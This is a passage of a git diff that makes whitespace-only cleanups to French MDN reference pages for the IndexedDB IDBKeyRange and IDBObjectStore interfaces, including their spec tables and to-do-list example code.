{{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbkeyrange/lowerbound/index.md b/files/fr/web/api/idbkeyrange/lowerbound/index.md index 43945e77cf..afa0308e5b 100644 --- a/files/fr/web/api/idbkeyrange/lowerbound/index.md +++ b/files/fr/web/api/idbkeyrange/lowerbound/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/IDBKeyRange/lowerBound --- {{APIRef("IndexedDB")}} -La méthode **`lowerBound()`**, rattachée à l'interface {{domxref("IDBKeyRange")}}, crée un intervalle de clé avec une borne inférieure. +La méthode **`lowerBound()`**, rattachée à l'interface {{domxref("IDBKeyRange")}}, crée un intervalle de clé avec une borne inférieure. Par défaut, la borne est inclue dans l'intervalle (autrement dit, il est fermé à gauche). @@ -72,7 +72,7 @@ function displayData() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBKeyRange-lowerBound-IDBKeyRange-any-lower-boolean-open', 'lowerBound()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBKeyRange-lowerBound-IDBKeyRange-any-lower-boolean-open', 'lowerBound()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbkeyrange/loweropen/index.md b/files/fr/web/api/idbkeyrange/loweropen/index.md index cccd9f002a..f120a77299 100644 --- a/files/fr/web/api/idbkeyrange/loweropen/index.md +++ b/files/fr/web/api/idbkeyrange/loweropen/index.md @@ -60,7 +60,7 @@ function displayData() { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBKeyRange-lowerOpen', 'lowerOpen')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBKeyRange-lowerOpen', 'lowerOpen')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbkeyrange/only/index.md b/files/fr/web/api/idbkeyrange/only/index.md index 574f4d7482..5e778c6498 100644 --- a/files/fr/web/api/idbkeyrange/only/index.md +++ b/files/fr/web/api/idbkeyrange/only/index.md @@ -66,7 +66,7 @@ function displayData() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBKeyRange-only-IDBKeyRange-any-value', 'only')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBKeyRange-only-IDBKeyRange-any-value', 'only')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbkeyrange/upper/index.md b/files/fr/web/api/idbkeyrange/upper/index.md index 52fb657e00..59ef850bf0 100644 --- a/files/fr/web/api/idbkeyrange/upper/index.md +++ b/files/fr/web/api/idbkeyrange/upper/index.md @@ -60,7 +60,7 @@ function displayData() { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBKeyRange-upper', 'upper')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBKeyRange-upper', 'upper')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbkeyrange/upperbound/index.md b/files/fr/web/api/idbkeyrange/upperbound/index.md index fc8c458d23..61206cf48c 100644 --- a/files/fr/web/api/idbkeyrange/upperbound/index.md +++ b/files/fr/web/api/idbkeyrange/upperbound/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/IDBKeyRange/upperBound --- {{APIRef("IndexedDB")}} -La méthode **`upperBound()`**, rattachée à l'interface {{domxref("IDBKeyRange")}}, crée un intervalle de clé avec une borne supérieure. +La méthode **`upperBound()`**, rattachée à l'interface {{domxref("IDBKeyRange")}}, crée un intervalle de clé avec une borne supérieure. Par défaut, la borne est inclue dans l'intervalle (autrement dit, il est fermé à droite). @@ -73,7 +73,7 @@ function displayData() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBKeyRange-upperBound-IDBKeyRange-any-upper-boolean-open', 'upperBound()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBKeyRange-upperBound-IDBKeyRange-any-upper-boolean-open', 'upperBound()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbkeyrange/upperopen/index.md b/files/fr/web/api/idbkeyrange/upperopen/index.md index 48723184ae..99cac8651f 100644 --- a/files/fr/web/api/idbkeyrange/upperopen/index.md +++ b/files/fr/web/api/idbkeyrange/upperopen/index.md @@ -55,7 +55,7 @@ function displayData() { | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | ---------------------------- | ----------- | -| {{SpecName('IndexedDB', '#widl-IDBKeyRange-upperOpen', 'upperOpen')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBKeyRange-upperOpen', 'upperOpen')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité avec les navigateurs diff --git a/files/fr/web/api/idbobjectstore/add/index.md b/files/fr/web/api/idbobjectstore/add/index.md index 22877034f9..65a2264933 100644 --- a/files/fr/web/api/idbobjectstore/add/index.md +++ b/files/fr/web/api/idbobjectstore/add/index.md @@ -49,7 +49,7 @@ Cette méthode peut lever une exception {{domxref("DOMException")}} ayant l'un d <tr> <td><code>TransactionInactiveError</code></td> <td> - La transaction pour cet objet {{domxref("IDBObjectStore")}} + La transaction pour cet objet {{domxref("IDBObjectStore")}} est inactive. </td> </tr> @@ -154,7 +154,7 @@ function addData() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-add-IDBRequest-any-value-any-key', 'add()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-add-IDBRequest-any-value-any-key', 'add()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbobjectstore/autoincrement/index.md b/files/fr/web/api/idbobjectstore/autoincrement/index.md index edaf50bab0..95960944cf 100644 --- a/files/fr/web/api/idbobjectstore/autoincrement/index.md +++ b/files/fr/web/api/idbobjectstore/autoincrement/index.md @@ -47,14 +47,14 @@ function addData() { // un nouvel objet prêt à être emmagasiné newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ]; - // ouvre une transaction de lecture / écriture prête au traitement des données sur la connexion + // ouvre une transaction de lecture / écriture prête au traitement des données sur la connexion var transaction = db.transaction(["toDoList"], "readwrite"); // en cas de succès de l'ouverture de la transaction transaction.oncomplete = function(event) { note.innerHTML += '<li>Transaction complété : modification de la base de données terminée.</li>'; }; - // en cas d'échec de l'ouverture de la transaction + // en cas d'échec de l'ouverture de la transaction transaction.onerror = function(event) { note.innerHTML += '<li>L\'erreur: "' + transaction.error +'" c\'est produite échec de la transaction.</li>'; }; @@ -81,7 +81,7 @@ function addData() { | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------- | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-autoIncrement', 'autoIncrement')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-autoIncrement', 'autoIncrement')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité avec les navigateurs diff --git a/files/fr/web/api/idbobjectstore/clear/index.md b/files/fr/web/api/idbobjectstore/clear/index.md index 0b373c0cd6..bba5c673f7 100644 --- a/files/fr/web/api/idbobjectstore/clear/index.md +++ b/files/fr/web/api/idbobjectstore/clear/index.md @@ -51,7 +51,7 @@ DBOpenRequest.onsuccess = function(event) { }; function clearData() { - // ouvre une transaction de lecture / écriture prête pour le nettoyage + // ouvre une transaction de lecture / écriture prête pour le nettoyage var transaction = db.transaction(["toDoList"], "readwrite"); // en cas de succès de l'ouverture de la transaction @@ -83,7 +83,7 @@ function clearData() { | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------- | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-clear-IDBRequest', 'clear()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-clear-IDBRequest', 'clear()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité avec les navigateurs diff --git a/files/fr/web/api/idbobjectstore/count/index.md b/files/fr/web/api/idbobjectstore/count/index.md index bdbb5e7ebb..e9ca828cd6 100644 --- a/files/fr/web/api/idbobjectstore/count/index.md +++ b/files/fr/web/api/idbobjectstore/count/index.md @@ -56,7 +56,7 @@ countRequest.onsuccess = function() { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-count-IDBRequest-any-key', 'count()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-count-IDBRequest-any-key', 'count()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbobjectstore/createindex/index.md b/files/fr/web/api/idbobjectstore/createindex/index.md index e5d27186b5..ba5077317c 100644 --- a/files/fr/web/api/idbobjectstore/createindex/index.md +++ b/files/fr/web/api/idbobjectstore/createindex/index.md @@ -89,7 +89,7 @@ L'{{domxref("IDBIndex","accès")}} au nouvel index. - : Cette {{domxref("DOMException","exeption")}} si la {{domxref("IDBTransaction","transaction")}} dont dépend cet {{domxref("IDBObjectStore","accès")}} au magasin d'objet n'est pas en {{domxref("IDBTransaction.mode","mode")}} `versionchange`. - `TransactionInactiveError` - : Cette {{domxref("DOMException","exeption")}} si la {{domxref("IDBTransaction","transaction")}} de l'{{domxref("IDBObjectStore","accès")}} au magasin d’objet est inactive. - [bug 1176165](https://bugzilla.mozilla.org/show_bug.cgi?id=1176165) ). + [bug 1176165](https://bugzilla.mozilla.org/show_bug.cgi?id=1176165) ). - `ConstraintError` - : Cette {{domxref("DOMException","exeption")}} si un index avec le même nom (case sensible) existe déjà sur le magasin d'objet. @@ -105,7 +105,7 @@ var db; // Requête d'ouverture de la base de données "toDoList" var DBOpenRequest = window.indexedDB.open("toDoList", 4); -// Gère l'échec de l'ouverture de la base +// Gère l'échec de l'ouverture de la base DBOpenRequest.onerror = function(event) { note.innerHTML += '<li>La base de donnée n\'as pas peut être ouverte.</li>'; }; @@ -121,7 +121,7 @@ DBOpenRequest.onsuccess = function(event) { displayData(); }; -// Ce gestionnaire d'événement nécessite un nouveau numéro de version de la basse de données. +// Ce gestionnaire d'événement nécessite un nouveau numéro de version de la basse de données. // Si la base n'existe pas un nouveau numéro de version est généré par la méthode d'ouverture de connexion window.indexDB.open . DBOpenRequest.onupgradeneeded = function(event) { @@ -150,7 +150,7 @@ DBOpenRequest.onupgradeneeded = function(event) { | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------- | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-createIndex-IDBIndex-DOMString-name-DOMString-sequence-DOMString--keyPath-IDBIndexParameters-optionalParameters', 'createIndex()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-createIndex-IDBIndex-DOMString-name-DOMString-sequence-DOMString--keyPath-IDBIndexParameters-optionalParameters', 'createIndex()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité avec les navigateurs diff --git a/files/fr/web/api/idbobjectstore/delete/index.md b/files/fr/web/api/idbobjectstore/delete/index.md index f79aca9cd7..00ac3dcdb7 100644 --- a/files/fr/web/api/idbobjectstore/delete/index.md +++ b/files/fr/web/api/idbobjectstore/delete/index.md @@ -94,7 +94,7 @@ function deleteData() { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-delete-IDBRequest-any-key', 'delete()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-delete-IDBRequest-any-key', 'delete()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbobjectstore/deleteindex/index.md b/files/fr/web/api/idbobjectstore/deleteindex/index.md index 9f493d0d3a..747b2f4447 100644 --- a/files/fr/web/api/idbobjectstore/deleteindex/index.md +++ b/files/fr/web/api/idbobjectstore/deleteindex/index.md @@ -5,9 +5,9 @@ translation_of: Web/API/IDBObjectStore/deleteIndex --- {{ APIRef("IndexedDB") }} -La méthode **`deleteIndex()`** de l'interface {{domxref("IDBObjectStore")}} supprime l'index dont le nom est passé en paramètre, du magasin d'objet relié ({{domxref("IDBObjectStore")}}). +La méthode **`deleteIndex()`** de l'interface {{domxref("IDBObjectStore")}} supprime l'index dont le nom est passé en paramètre, du magasin d'objet relié ({{domxref("IDBObjectStore")}}). -> **Note :** Cette méthode ne peut être appelée que si la transaction ({{domxref("IDBTransaction")}}) de l'accès ({{domxref("IDBObjectStore")}}) au magasin d'objet est en mode ({{domxref("IDBTransaction.mode")}}) **[versionchange](/fr/docs/Web/API/IDBTransaction/mode#versionchange)**. Les propriétés **indexNames ({{domxref("IDBObjectStore.indexNames")}})** des accès au magasin d'object seront aussi mises à jour. +> **Note :** Cette méthode ne peut être appelée que si la transaction ({{domxref("IDBTransaction")}}) de l'accès ({{domxref("IDBObjectStore")}}) au magasin d'objet est en mode ({{domxref("IDBTransaction.mode")}}) **[versionchange](/fr/docs/Web/API/IDBTransaction/mode#versionchange)**. Les propriétés **indexNames ({{domxref("IDBObjectStore.indexNames")}})** des accès au magasin d'object seront aussi mises à jour. {{AvailableInWorkers}} @@ -32,9 +32,9 @@ Void. - : Cette exception ({{domxref("DOMException")}}) est levée si la transaction ({{domxref("IDBTransaction")}}) dont dépend cet accès ({{domxref("IDBObjectStore")}}) au magasin d'objet n'est pas en mode ({{domxref("IDBTransaction.mode")}}) [`versionchange`](/fr/docs/Web/API/IDBTransaction/mode#versionchange). - `TransactionInactiveError` - : Cette exception ({{domxref("DOMException")}}) est levée si la transaction ({{domxref("IDBTransaction")}}) de l'accès ({{domxref("IDBObjectStore")}}) au magasin d’objet est inactive. - [bug 1176165](https://bugzilla.mozilla.org/show_bug.cgi?id=1176165)). + [bug 1176165](https://bugzilla.mozilla.org/show_bug.cgi?id=1176165)). - `NotFoundError` - - : Cette exception ({{domxref("DOMException")}}) est levée si l'index avec le nom (case sensible) demandé n'existe pas sur le magasin d'objet. + - : Cette exception ({{domxref("DOMException")}}) est levée si l'index avec le nom (case sensible) demandé n'existe pas sur le magasin d'objet. ## Exemple @@ -48,7 +48,7 @@ var db; // Requête d'ouverture de la base de données "toDoList" var DBOpenRequest = window.indexedDB.open("toDoList", 4); -// Gère l'échec de l'ouverture de la base +// Gère l'échec de l'ouverture de la base DBOpenRequest.onerror = function(event) { note.innerHTML += '<li>La base de donnée n\'as pas peut être ouverte.</li>'; }; @@ -64,7 +64,7 @@ DBOpenRequest.onsuccess = function(event) { displayData(); }; -// Ce gestionnaire d'événement nécessite un nouveau numéro de version de la base de données. +// Ce gestionnaire d'événement nécessite un nouveau numéro de version de la base de données. // Si la base n'existe pas un nouveau numéro de version est généré par la méthode d'ouverture de connexion window.indexDB.open . DBOpenRequest.onupgradeneeded = function(event) { @@ -96,7 +96,7 @@ DBOpenRequest.onupgradeneeded = function(event) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-deleteIndex-void-DOMString-indexName', 'deleteIndex()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-deleteIndex-void-DOMString-indexName', 'deleteIndex()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité avec les navigateurs diff --git a/files/fr/web/api/idbobjectstore/get/index.md b/files/fr/web/api/idbobjectstore/get/index.md index 14fed16a99..c0c20b9c06 100644 --- a/files/fr/web/api/idbobjectstore/get/index.md +++ b/files/fr/web/api/idbobjectstore/get/index.md @@ -25,7 +25,7 @@ var request = objectStore.get(cle); ## Renvoie - Une {{domxref("IDBRequest","requête")}} - - : La propriété {{domxref("IDBRequest.result","result")}} de cette requête renvoie en cas de succès, un clone structuré de la valeur de l'enregistrement correspondant à la clé ou du premier correspondant à l'intervalle de clé. + - : La propriété {{domxref("IDBRequest.result","result")}} de cette requête renvoie en cas de succès, un clone structuré de la valeur de l'enregistrement correspondant à la clé ou du premier correspondant à l'intervalle de clé. ## Exceptions @@ -93,7 +93,7 @@ function deleteData() { | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------- | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-get-IDBRequest-any-key', 'get()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-get-IDBRequest-any-key', 'get()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbobjectstore/getall/index.md b/files/fr/web/api/idbobjectstore/getall/index.md index 7749e9a1a7..c4afd0d18c 100644 --- a/files/fr/web/api/idbobjectstore/getall/index.md +++ b/files/fr/web/api/idbobjectstore/getall/index.md @@ -30,9 +30,9 @@ La méthode **`getAll()`** de l'interface {{domxref("IDBObjectStore")}} fait une - `TransactionInactiveError` - : Cette {{domxref("DOMException","exception")}} est levée si la {{domxref("IDBTransaction","transaction")}} est inactive. - `DataError` - - : Cette {{domxref("DOMException","exception")}} est levée si la clé où l'{{domxref("IDBKeyRange","intervalle de clé")}} est invalide. + - : Cette {{domxref("DOMException","exception")}} est levée si la clé où l'{{domxref("IDBKeyRange","intervalle de clé")}} est invalide. - `InvalidStateError` - - : Cette {{domxref("DOMException","exception")}} est levée si le magasin d'objets a été supprimé. + - : Cette {{domxref("DOMException","exception")}} est levée si le magasin d'objets a été supprimé. - `TypeError` - : Cette {{domxref("DOMException","exception")}} est levée si le compteur n'est pas un nombre positif. @@ -40,7 +40,7 @@ La méthode **`getAll()`** de l'interface {{domxref("IDBObjectStore")}} fait une | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | ---------------------------- | ----------- | -| {{SpecName('IndexedDB2', '#dom-idbobjectstore-getall', 'getAll()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB2', '#dom-idbobjectstore-getall', 'getAll()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs @@ -50,7 +50,7 @@ La méthode **`getAll()`** de l'interface {{domxref("IDBObjectStore")}} fait une - {{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}} - {{domxref("IDBDatabase","Débuter une connexion")}} -- {{domxref("IDBTransaction","Utiliser les transactions")}} +- {{domxref("IDBTransaction","Utiliser les transactions")}} - {{domxref("IDBKeyRange","Définir l'intervalle des clés")}} - {{domxref("IDBObjectStore","Accès aux magasins d'objets")}} - {{domxref("IDBCursor","Utiliser les curseurs")}} diff --git a/files/fr/web/api/idbobjectstore/getallkeys/index.md b/files/fr/web/api/idbobjectstore/getallkeys/index.md index df2f4b69ce..6ffc62f82f 100644 --- a/files/fr/web/api/idbobjectstore/getallkeys/index.md +++ b/files/fr/web/api/idbobjectstore/getallkeys/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/IDBObjectStore/getAllKeys --- {{APIRef("IndexedDB")}} -La méthode **`getAllKeys()`**, rattachée à l'interface {{domxref("IDBObjectStore")}}, renvoie un objet {{domxref("IDBRequest")}} qui permet de récupérer l'ensemble des clés pour les objets qui correspondent au critère passé en argument (ou les clés de tous les objets du magasin si aucun paramètre n'est fourni). +La méthode **`getAllKeys()`**, rattachée à l'interface {{domxref("IDBObjectStore")}}, renvoie un objet {{domxref("IDBRequest")}} qui permet de récupérer l'ensemble des clés pour les objets qui correspondent au critère passé en argument (ou les clés de tous les objets du magasin si aucun paramètre n'est fourni). Si une valeur est trouvée, un clone structurelle sera créé et fourni comme résultat pour la requête. @@ -33,7 +33,7 @@ Pour différencier ces deux situations, on peut appeler la méthode {{domxref("I - `query` {{optional_inline}} - : Une valeur qui est (ou se résoud) en un intervalle de clés ({{domxref("IDBKeyRange")}}). - `count` {{optional_inline}} - - : Une valeur qui définit le nombre de valeurs à renvoyer si plusieurs correspondent. Cette valeur doit être supérieure à `0` ou inférieure `à 2^32-1`, sinon une exception {{jsxref("TypeError")}} sera levée. + - : Une valeur qui définit le nombre de valeurs à renvoyer si plusieurs correspondent. Cette valeur doit être supérieure à `0` ou inférieure `à 2^32-1`, sinon une exception {{jsxref("TypeError")}} sera levée. ### Valeur de retour diff --git a/files/fr/web/api/idbobjectstore/index.md b/files/fr/web/api/idbobjectstore/index.md index 4c761abec2..4af77216a9 100644 --- a/files/fr/web/api/idbobjectstore/index.md +++ b/files/fr/web/api/idbobjectstore/index.md @@ -133,7 +133,7 @@ objectStoreRequest.onsuccess = function(event) { | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | ---------------------------- | ----------- | -| {{SpecName('IndexedDB', '#idl-def-IDBObjectStore', 'IDBObjectStore')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#idl-def-IDBObjectStore', 'IDBObjectStore')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbobjectstore/index/index.md b/files/fr/web/api/idbobjectstore/index/index.md index 2e677c3bae..beb85e8f07 100644 --- a/files/fr/web/api/idbobjectstore/index/index.md +++ b/files/fr/web/api/idbobjectstore/index/index.md @@ -80,7 +80,7 @@ function displayDataByIndex() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-index-IDBIndex-DOMString-name', 'index()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-index-IDBIndex-DOMString-name', 'index()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbobjectstore/indexnames/index.md b/files/fr/web/api/idbobjectstore/indexnames/index.md index f46c3122ca..2c4c6036ae 100644 --- a/files/fr/web/api/idbobjectstore/indexnames/index.md +++ b/files/fr/web/api/idbobjectstore/indexnames/index.md @@ -25,7 +25,7 @@ Une liste {{domxref("DOMStringList")}}. ## Exemples -Dans l'exemple suivant, on initialise une transaction de lecture/écriture sur une base de données en ajoutant des données dans un magasin d'objets via la méthode `add()`. Une fois l'objet créé, on affiche `objectStore.indexNames` en sortie de la console. Pour un exemple complet et fonctionnel, vous pouvez utiliser notre application [To-do Notifications](https://github.com/mdn/to-do-notifications/) ([tester la démo](https://mdn.github.io/to-do-notifications/)). +Dans l'exemple suivant, on initialise une transaction de lecture/écriture sur une base de données en ajoutant des données dans un magasin d'objets via la méthode `add()`. Une fois l'objet créé, on affiche `objectStore.indexNames` en sortie de la console. Pour un exemple complet et fonctionnel, vous pouvez utiliser notre application [To-do Notifications](https://github.com/mdn/to-do-notifications/) ([tester la démo](https://mdn.github.io/to-do-notifications/)). ```js // On commence par ouvrir la base de données @@ -84,7 +84,7 @@ function addData() { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-indexNames', 'indexNames')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-indexNames', 'indexNames')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbobjectstore/keypath/index.md b/files/fr/web/api/idbobjectstore/keypath/index.md index 703e7690d6..14fb85de5d 100644 --- a/files/fr/web/api/idbobjectstore/keypath/index.md +++ b/files/fr/web/api/idbobjectstore/keypath/index.md @@ -28,7 +28,7 @@ N'importe quel type de valeur. ## Exemple -Dans l'exemple suivant, on initialise une transaction de lecture/écriture sur une base de données en ajoutant des données dans un magasin d'objets via la méthode `add()`. Une fois l'objet créé, on affiche `objectStore.keyPath` en sortie de la console. Pour un exemple complet et fonctionnel, vous pouvez utiliser notre application [To-do Notifications](https://github.com/mdn/to-do-notifications/) ([tester la démo](https://mdn.github.io/to-do-notifications/)). +Dans l'exemple suivant, on initialise une transaction de lecture/écriture sur une base de données en ajoutant des données dans un magasin d'objets via la méthode `add()`. Une fois l'objet créé, on affiche `objectStore.keyPath` en sortie de la console. Pour un exemple complet et fonctionnel, vous pouvez utiliser notre application [To-do Notifications](https://github.com/mdn/to-do-notifications/) ([tester la démo](https://mdn.github.io/to-do-notifications/)). ```js // On commence par ouvrir la base de données @@ -86,7 +86,7 @@ function addData() { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-keyPath', 'keyPath')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-keyPath', 'keyPath')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbobjectstore/name/index.md b/files/fr/web/api/idbobjectstore/name/index.md index 982fb83d19..abbf7e9c25 100644 --- a/files/fr/web/api/idbobjectstore/name/index.md +++ b/files/fr/web/api/idbobjectstore/name/index.md @@ -90,7 +90,7 @@ function addData() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-name', 'name')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-name', 'name')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbobjectstore/opencursor/index.md b/files/fr/web/api/idbobjectstore/opencursor/index.md index 0b96ddad30..2b33c941b7 100644 --- a/files/fr/web/api/idbobjectstore/opencursor/index.md +++ b/files/fr/web/api/idbobjectstore/opencursor/index.md @@ -66,7 +66,7 @@ request.onsuccess = function(event) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBIndex-openCursor-IDBRequest-any-range-IDBCursorDirection-direction', 'openCursor')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBIndex-openCursor-IDBRequest-any-range-IDBCursorDirection-direction', 'openCursor')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbobjectstore/openkeycursor/index.md b/files/fr/web/api/idbobjectstore/openkeycursor/index.md index 230f9d0454..51d2090007 100644 --- a/files/fr/web/api/idbobjectstore/openkeycursor/index.md +++ b/files/fr/web/api/idbobjectstore/openkeycursor/index.md @@ -64,7 +64,7 @@ request.onsuccess = function(event) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB2', '#dom-idbobjectstore-openkeycursor', 'openKeyCursor')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB2', '#dom-idbobjectstore-openkeycursor', 'openKeyCursor')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbobjectstore/put/index.md b/files/fr/web/api/idbobjectstore/put/index.md index 08ad1bc6a4..c013132dd1 100644 --- a/files/fr/web/api/idbobjectstore/put/index.md +++ b/files/fr/web/api/idbobjectstore/put/index.md @@ -75,12 +75,12 @@ Cette méthode peut lever une de ces exceptions {{domxref("DOMException")}} : </li> <li> Le magasin d'objet utilise des clés en ligne (<em>in-line keys</em - >), ne dispose pas d'un générateur de clés et le paramètre pour la + >), ne dispose pas d'un générateur de clés et le paramètre pour la clé n'a pas été utilisé. </li> <li> Le magasin d'objet utilise des clés en ligne (<em>in-line keys</em - >), ne dispose pas d'un générateur de clés et le chemin de clé du + >), ne dispose pas d'un générateur de clés et le chemin de clé du magasin d'objet ne déclenche pas une clé valide. </li> <li> @@ -148,7 +148,7 @@ objectStoreTitleRequest.onsuccess = function() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('IndexedDB', '#widl-IDBObjectStore-put-IDBRequest-any-value-any-key', 'put()')}} | {{Spec2('IndexedDB')}} | | +| {{SpecName('IndexedDB', '#widl-IDBObjectStore-put-IDBRequest-any-value-any-key', 'put()')}} | {{Spec2('IndexedDB')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/idbobjectstore/transaction/index.md b/files/fr/web/api/idbobjectstore/transaction/index.md index 75af9a1542..2c2dc66fb7 100644 --- a/files/fr/web/api/idbobjectstore/transaction/index.md +++ b/files/fr/web/api/idbobjectstore/transaction/index.md @@ -42,14 +42,14 @@ function addData() { // un nouvel objet prêt à être emmagasiné newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ]; - // ouvre une transaction de lecture / écriture prête au traitement des données sur la connexion + // ouvre une transaction de lecture / écriture prête au traitement des données sur la connexion var transaction = db.transaction(["toDoList"], "readwrite"); // en cas de succès de l'ouverture de la transaction transaction.oncomplete = function(event) { note.innerHTML += '<li>Transaction complété : modification de la base de données 